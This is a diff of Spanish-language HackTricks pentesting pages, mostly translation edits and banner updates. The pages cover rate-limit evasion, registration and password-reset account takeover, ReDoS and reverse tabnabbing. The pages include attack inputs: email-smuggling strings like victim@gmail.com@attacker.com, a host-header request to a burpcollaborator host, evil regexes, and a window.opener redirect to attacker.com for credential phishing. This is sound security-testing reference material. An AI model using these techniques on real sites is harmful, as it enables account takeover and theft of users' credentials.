* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -3,21 +3,21 @@
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
¡Obtenga acceso hoy mismo:
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
¡Accede hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -59,27 +59,4 @@ Iniciar sesión en una cuenta antes de cada intento, o en cada conjunto de inten
Desplegar una red de proxies para distribuir las solicitudes en múltiples direcciones IP puede eludir efectivamente los límites de velocidad basados en IP. Al enrutar el tráfico a través de varios proxies, cada solicitud parece originarse desde una fuente diferente, diluyendo la efectividad del límite de velocidad.
### Dividir el Ataque Entre Diferentes Cuentas o Sesiones
Si el sistema objetivo aplica límites de velocidad por cuenta o por sesión, distribuir el ataque o prueba entre múltiples cuentas o sesiones puede ayudar a evitar la detección. Este enfoque requiere gestionar múltiples identidades o tokens de sesión, pero puede distribuir efectivamente la carga para mantenerse dentro de los límites permitidos.
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
Accede hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Si el sistema objetivo aplica límites de velocidad en base a una cuenta o sesión, distribuir el ataque o prueba entre múltiples cuentas o sesiones puede ayudar a evitar la detección. Este enfoque requiere gestionar múltiples identidades o tokens de sesión, pero puede distribuir efectivamente la carga para mantenerse dentro de los límites permitidos.

View file

@ -6,11 +6,11 @@
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -24,22 +24,22 @@ Otras formas de apoyar a HackTricks:
* \+1@
* agregar algún punto en el correo electrónico
* caracteres especiales en el nombre del correo (%00, %09, %20)
* Colocar caracteres negros después del correo electrónico: `test@test.com a`
* Coloca caracteres negros después del correo electrónico: `test@test.com a`
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
### Enumeración de Usuario
Verifica si puedes determinar si un nombre de usuario ya ha sido registrado dentro de la aplicación.
Verifica si puedes determinar si un nombre de usuario ya ha sido registrado en la aplicación.
### Política de Contraseña
Al crear un usuario, verifica la política de contraseña (verifica si se pueden usar contraseñas débiles).\
En ese caso, puedes intentar fuerza bruta de credenciales.
En ese caso, puedes intentar fuerza bruta en las credenciales.
### Inyección SQL
[**Verifica esta página** ](sql-injection/#insert-statement)para aprender cómo intentar tomas de cuenta o extraer información a través de **Inyecciones SQL** en formularios de registro.
[**Verifica esta página**](sql-injection/#insert-statement) para aprender cómo intentar tomar el control de cuentas o extraer información a través de **Inyecciones SQL** en formularios de registro.
### Toma de Control de Oauth
@ -60,9 +60,9 @@ Después de registrarte, intenta cambiar el correo electrónico y verifica si es
### Más Verificaciones
* Verifica si puedes usar **correos electrónicos desechables**
* **Contraseña larga** (>200) conduce a **DoS**
* Una **contraseña larga** (>200) conduce a **DoS**
* **Verifica los límites de velocidad en la creación de cuentas**
* Usa username@**burp\_collab**.net y analiza el **callback**
* Utiliza username@**burp\_collab**.net y analiza el **callback**
## **Toma de Control de Restablecimiento de Contraseña**
@ -104,7 +104,7 @@ email=victim@mail.com|hacker@mail.com
1. El atacante debe iniciar sesión con su cuenta e ir a la función **Cambiar contraseña**.
2. Iniciar Burp Suite y interceptar la solicitud.
3. Enviarla a la pestaña de repetidor y editar los parámetros: ID de usuario/correo electrónico\
3. Enviarla a la pestaña de repetición y editar los parámetros: ID de usuario/correo electrónico\
`powershell POST /api/changepass [...] ("form": {"email":"victima@email.com","password":"contraseñasegura"})`
### Token Débil de Restablecimiento de Contraseña <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
@ -127,13 +127,13 @@ Intenta determinar si el token expira o si siempre es el mismo, en algunos casos
1. Desencadena una solicitud de restablecimiento de contraseña utilizando la API/UI para un correo electrónico específico, por ejemplo: test@mail.com
2. Inspecciona la respuesta del servidor y busca `resetToken`
3. Luego utiliza el token en una URL como `https://ejemplo.com/v3/usuario/contraseña/reset?resetToken=[EL_RESET_TOKEN]&email=[EL_CORREO]`
3. Luego usa el token en una URL como `https://ejemplo.com/v3/usuario/contraseña/reset?resetToken=[EL_TOKEN_DE_RESTABLECIMIENTO]&correo=[EL_CORREO]`
### Restablecimiento de Contraseña a Través de Colisión de Nombre de Usuario <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. Regístrate en el sistema con un nombre de usuario idéntico al del usuario víctima, pero con espacios en blanco insertados antes y/o después del nombre de usuario. por ejemplo: `"admin "`
1. Regístrate en el sistema con un nombre de usuario idéntico al nombre de usuario de la víctima, pero con espacios en blanco insertados antes y/o después del nombre de usuario. por ejemplo: `"admin "`
2. Solicita un restablecimiento de contraseña con tu nombre de usuario malicioso.
3. Utiliza el token enviado a tu correo electrónico y restablece la contraseña del usuario víctima.
3. Utiliza el token enviado a tu correo electrónico y restablece la contraseña de la víctima.
4. Conéctate a la cuenta de la víctima con la nueva contraseña.
La plataforma CTFd era vulnerable a este ataque.\
@ -163,6 +163,10 @@ Content-Length: 83
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
### Informes de Hackerone que explotan este error\
* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### Toma de cuenta a través de CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. Crear un payload para CSRF, por ejemplo: "Formulario HTML con envío automático para cambio de contraseña"
@ -170,7 +174,7 @@ X: X
### Toma de cuenta a través de JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
El Token JSON Web podría ser utilizado para autenticar a un usuario.
El Token JSON Web puede ser utilizado para autenticar a un usuario.
* Editar el JWT con otro ID de usuario / Correo electrónico
* Verificar una firma JWT débil
@ -190,9 +194,9 @@ El Token JSON Web podría ser utilizado para autenticar a un usuario.
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,21 +2,21 @@
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
# Denegación de Servicio de Expresiones Regulares (ReDoS)
Una **Denegación de Servicio de Expresiones Regulares (ReDoS)** ocurre cuando alguien aprovecha las debilidades en cómo funcionan las expresiones regulares (una forma de buscar y hacer coincidir patrones en texto). A veces, cuando se utilizan expresiones regulares, pueden volverse muy lentas, especialmente si el fragmento de texto con el que están trabajando se vuelve más grande. Esta lentitud puede empeorar tanto que crece muy rápido incluso con pequeños aumentos en el tamaño del texto. Los atacantes pueden aprovechar este problema para hacer que un programa que utiliza expresiones regulares deje de funcionar correctamente durante mucho tiempo.
Una **Denegación de Servicio de Expresiones Regulares (ReDoS)** ocurre cuando alguien aprovecha las debilidades en cómo funcionan las expresiones regulares (una forma de buscar y hacer coincidir patrones en texto). A veces, cuando se utilizan expresiones regulares, pueden volverse muy lentas, especialmente si el fragmento de texto con el que están trabajando se vuelve más grande. Esta lentitud puede ser tan grave que crece muy rápidamente incluso con pequeños aumentos en el tamaño del texto. Los atacantes pueden aprovechar este problema para hacer que un programa que utiliza expresiones regulares deje de funcionar correctamente durante mucho tiempo.
## El Algoritmo Naïve de Regex Problemático
@ -24,9 +24,9 @@ Una **Denegación de Servicio de Expresiones Regulares (ReDoS)** ocurre cuando a
**Ver los detalles en [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
## Regexes Maliciosas <a href="#evil-regexes" id="evil-regexes"></a>
## Expresiones Regulares Maliciosas <a href="#evil-regexes" id="evil-regexes"></a>
Un patrón malicioso de expresión regular es aquel que puede **quedarse atascado en una entrada manipulada causando un DoS**. Los patrones de regex maliciosos típicamente contienen agrupaciones con repetición y repetición o alternancia con superposición dentro del grupo repetido. Algunos ejemplos de patrones maliciosos incluyen:
Un patrón de expresión regular malicioso es aquel que puede **quedarse atascado en una entrada manipulada causando una DoS**. Los patrones de regex maliciosos típicamente contienen agrupaciones con repetición y repetición o alternancia con superposición dentro del grupo repetido. Algunos ejemplos de patrones maliciosos incluyen:
* (a+)+
* ([a-zA-Z]+)*
@ -84,7 +84,7 @@ Regexp (a+)*$ took 723 milliseconds.
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
# Referencias
## Referencias
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
* [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
@ -96,10 +96,10 @@ Regexp (a+)*$ took 723 milliseconds.
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -7,9 +7,9 @@
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -18,7 +18,7 @@ Otras formas de apoyar a HackTricks:
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores.
**Información sobre Hacking**\
**Información de Hacking**\
Involúcrate con contenido que explora la emoción y los desafíos del hacking
**Noticias de Hacking en Tiempo Real**\
@ -27,11 +27,11 @@ Mantente actualizado con el mundo del hacking a través de noticias e informaci
**Últimos Anuncios**\
Mantente informado sobre los nuevos programas de recompensas por errores y actualizaciones importantes de plataformas
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ¡y comienza a colaborar con los mejores hackers hoy!
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
## **Fuga de Token de Restablecimiento de Contraseña a través del Referente**
* El encabezado HTTP referer puede filtrar el token de restablecimiento de contraseña si se incluye en la URL. Esto puede ocurrir cuando un usuario hace clic en un enlace de un sitio web de terceros después de solicitar un restablecimiento de contraseña.
* **Impacto**: Posible toma de control de cuenta a través de ataques de falsificación de solicitudes entre sitios (CSRF).
* **Impacto**: Posible toma de control de la cuenta a través de ataques de falsificación de solicitudes entre sitios (CSRF).
* **Referencias**:
- [Informe de HackerOne 342693](https://hackerone.com/reports/342693)
- [Informe de HackerOne 272379](https://hackerone.com/reports/272379)
@ -40,7 +40,7 @@ Mantente informado sobre los nuevos programas de recompensas por errores y actua
## **Envenenamiento de Restablecimiento de Contraseña**
* Los atacantes pueden manipular el encabezado Host durante las solicitudes de restablecimiento de contraseña para dirigir el enlace de restablecimiento a un sitio malicioso.
* **Parche**: Utiliza `$_SERVER['SERVER_NAME']` para construir URLs de restablecimiento de contraseña en lugar de `$_SERVER['HTTP_HOST']`.
* **Impacto**: Conduce a una posible toma de control de cuenta al filtrar tokens de restablecimiento a los atacantes.
* **Impacto**: Conduce a una posible toma de control de la cuenta al filtrar tokens de restablecimiento a los atacantes.
* **Pasos de Mitigación**:
- Valida el encabezado Host contra una lista blanca de dominios permitidos.
- Utiliza métodos seguros del lado del servidor para generar URLs absolutas.
@ -55,15 +55,15 @@ Mantente informado sobre los nuevos programas de recompensas por errores y actua
* **Referencias**:
- [Toma de Control de Cuenta de Readme.com](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
## **Cambio de Correo Electrónico y Contraseña de Cualquier Usuario a través de Parámetros de API**
## **Cambio de Correo Electrónico y Contraseña de cualquier Usuario a través de Parámetros de API**
* Los atacantes pueden modificar los parámetros de correo electrónico y contraseña en las solicitudes de API para cambiar las credenciales de la cuenta.
* **Pasos de Mitigación**:
- Asegura una validación estricta de parámetros y verificaciones de autenticación.
- Implementa un registro y monitoreo robustos para detectar y responder a actividades sospechosas.
* **Referencia**:
- [Toma de Control Completa de Cuenta a través de la Manipulación de Parámetros de API](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
- [Toma de Control Total de Cuenta a través de la Manipulación de Parámetros de API](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
## **Sin Límite de Tasa: Bombardeo de Correo Electrónico**
## **Sin Límite de Tasa: Bombardeo de Correos Electrónicos**
* La falta de límites de tasa en las solicitudes de restablecimiento de contraseña puede llevar a un bombardeo de correos electrónicos, abrumando al usuario con correos electrónicos de restablecimiento.
* **Pasos de Mitigación**:
- Implementa límites de tasa basados en la dirección IP o la cuenta de usuario.
@ -93,18 +93,18 @@ Mantente informado sobre los nuevos programas de recompensas por errores y actua
- [Error Crítico en Evento de Recompensas por Errores en Vivo](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
## **Uso de Token Expirado**
* Probar si los tokens expirados aún pueden ser utilizados para el restablecimiento de contraseña.
* Probar si los tokens expirados aún se pueden utilizar para restablecer la contraseña.
* **Pasos de Mitigación**:
- Implementa políticas estrictas de expiración de tokens y valida la expiración del token del lado del servidor.
## **Fuerza Bruta en Token de Restablecimiento de Contraseña**
* Intentar realizar fuerza bruta en el token de restablecimiento utilizando herramientas como Burpsuite e IP-Rotator para evadir límites de tasa basados en IP.
* Intentar realizar fuerza bruta en el token de restablecimiento utilizando herramientas como Burpsuite e IP-Rotator para evadir los límites de tasa basados en IP.
* **Pasos de Mitigación**:
- Implementa mecanismos robustos de limitación de tasa y bloqueo de cuentas.
- Monitorea actividades sospechosas que indiquen ataques de fuerza bruta.
## **Intenta Usar tu Token**
* Probar si el token de restablecimiento de un atacante puede ser utilizado junto con el correo electrónico de la víctima.
* Probar si el token de restablecimiento de un atacante se puede utilizar junto con el correo electrónico de la víctima.
* **Pasos de Mitigación**:
- Asegura que los tokens estén vinculados a la sesión del usuario u otros atributos específicos del usuario.
@ -118,14 +118,14 @@ Mantente informado sobre los nuevos programas de recompensas por errores y actua
* **Pasos de Mitigación**:
- Establece un tiempo de expiración razonable para los tokens de restablecimiento y aplícalo estrictamente del lado del servidor.
# Referencias
## Referencias
* [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores.
**Información sobre Hacking**\
**Información de Hacking**\
Involúcrate con contenido que explora la emoción y los desafíos del hacking
**Noticias de Hacking en Tiempo Real**\
@ -134,7 +134,7 @@ Mantente actualizado con el mundo del hacking a través de noticias e informaci
**Últimos Anuncios**\
Mantente informado sobre los nuevos programas de recompensas por errores y actualizaciones importantes de plataformas
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ¡y comienza a colaborar con los mejores hackers hoy!
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
<details>
@ -143,9 +143,9 @@ Mantente informado sobre los nuevos programas de recompensas por errores y actua
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,13 +1,13 @@
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
@ -15,12 +15,12 @@ Otras formas de apoyar a HackTricks:
# Descripción
En una situación donde un **atacante** puede **controlar** el argumento **`href`** de una etiqueta **`<a`** con el atributo **`target="_blank" rel="opener"`** que va a ser clicada por una víctima, el **atacante** puede **apuntar** este **enlace** a una web bajo su control (un **sitio web** **malicioso**). Entonces, una vez que la **víctima hace clic** en el enlace y accede al sitio web del atacante, este **sitio web malicioso** podrá **controlar** la **página original** a través del objeto javascript **`window.opener`**.\
En una situación donde un **atacante** puede **controlar** el argumento **`href`** de una etiqueta **`<a`** con el atributo **`target="_blank" rel="opener"`** que va a ser clicado por una víctima, el **atacante** puede **apuntar** este **enlace** a una web bajo su control (un **sitio web** **malicioso**). Entonces, una vez que la **víctima hace clic** en el enlace y accede al sitio web del atacante, este **sitio web malicioso** podrá **controlar** la **página original** a través del objeto javascript **`window.opener`**.\
Si la página no tiene **`rel="opener"` pero contiene `target="_blank"` y tampoco tiene `rel="noopener"`** también podría ser vulnerable.
Una forma común de abusar de este comportamiento sería **cambiar la ubicación de la web original** a través de `window.opener.location = https://attacker.com/victim.html` a una web controlada por el atacante que **se parezca a la original**, de modo que pueda **imitar** el **formulario de inicio de sesión** del sitio web original y pedir credenciales al usuario.
Una forma común de abusar de este comportamiento sería **cambiar la ubicación de la web original** a través de `window.opener.location = https://attacker.com/victim.html` a una web controlada por el atacante que **se vea como la original**, de modo que pueda **imitar** el **formulario de inicio de sesión** del sitio web original y pedir credenciales al usuario.
